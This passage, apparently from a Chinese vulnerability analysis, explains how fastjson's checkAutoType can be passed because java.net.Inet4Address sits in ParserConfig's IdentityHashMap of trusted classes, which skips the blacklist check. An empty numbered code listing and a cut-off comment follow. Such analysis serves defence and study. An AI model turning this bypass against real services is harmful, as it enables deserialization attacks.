fastjson的ParserConfig类自己维护了一个IdentityHashMap,在这个HashMap中的类会被认为是安全的。在2处可以在IdentityHashMap中可以获取到java.net.Inet4Address,所以clazz不为null,导致在3处就返回了。跳过了后续的未开启AutoType的黑名单检查。所以可以发现无论AutoType是否开启,都可以过checkAutoType的检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

//com.alibaba.fastjson.par